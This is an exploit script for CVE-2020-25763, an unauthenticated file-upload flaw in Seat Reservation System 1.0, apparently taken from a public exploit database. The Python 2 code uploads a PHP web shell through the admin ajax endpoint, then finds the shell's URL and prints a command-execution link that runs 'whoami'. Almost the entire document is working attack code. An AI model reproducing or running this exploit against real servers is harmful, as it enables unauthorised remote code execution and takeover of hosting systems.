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Seat Reservation System 1.0 - Remote Code Execution (Unauthenticated)

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# Exploit Title: Seat Reservation System 1.0 - Unauthenticated Remote Code Execution
# Exploit Author: Rahul Ramkumar
# Date: 2020-09-16
# Vendor Homepage: www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/seat-reservation-system-using-php_0.zip
# Version: 1.0
# Tested On: Windows 10 Enterprise 1809 (x64_86) + XAMPP 7.2.33-1
# Exploit Tested Using: Python 2.7.18
# CVE: CVE-2020-25763
# Vulnerability Description: 
# Seat Reservation System version 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading PHP files.

import requests, sys, urllib, re
from lxml import etree
from io import StringIO
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
import random
import string

def print_usage(STRING):
    return Style.BRIGHT+Fore.YELLOW+STRING+Fore.RESET

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print print_usage("Usage:\t\t python %s <WEBAPP_URL>" % sys.argv[0])
        print print_usage("Example:\t python %s 'https://192.168.1.72:443/seat_reservation/'" % sys.argv[0])
        sys.exit(-1)
    SERVER_URL = sys.argv[1]
    UPLOAD_DIR = 'admin/ajax.php?action=save_movie'
    UPLOAD_URL = SERVER_URL + UPLOAD_DIR
    random = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(16)])
    webshell = random+'.php'

    s = requests.Session()
    s.get(SERVER_URL, verify=False)
    image     = {
                'cover': 
                  (
                    webshell, 
                    '<?php echo shell_exec($_GET["d3crypt"]); ?>', 
                    'application/php', 
                    {'Content-Disposition': 'form-data'}
                  ) 
              }
    fdata   = {'id': '','title':'Shelling','description':'','duration_hour':'3','duration_min':'0','date_showing':'2020-01-01','end_date':'2040-09-25'}
    r1 = s.post(url=UPLOAD_URL, files=image, data=fdata, verify=False)
    r2 = s.get(SERVER_URL, verify=False)
    response_page = r2.content.decode("utf-8")
    parser = etree.HTMLParser()
    tree = etree.parse(StringIO(response_page), parser=parser)
    def get_links(tree):
        refs = tree.xpath("//img")
        links = [link.get('src', '') for link in refs]
        return [l for l in links]

    links = get_links(tree)
    print('Access your webshell at: ')    
    for link in links:
        if webshell in link:
            print(SERVER_URL + link+'?d3crypt=whoami')
            
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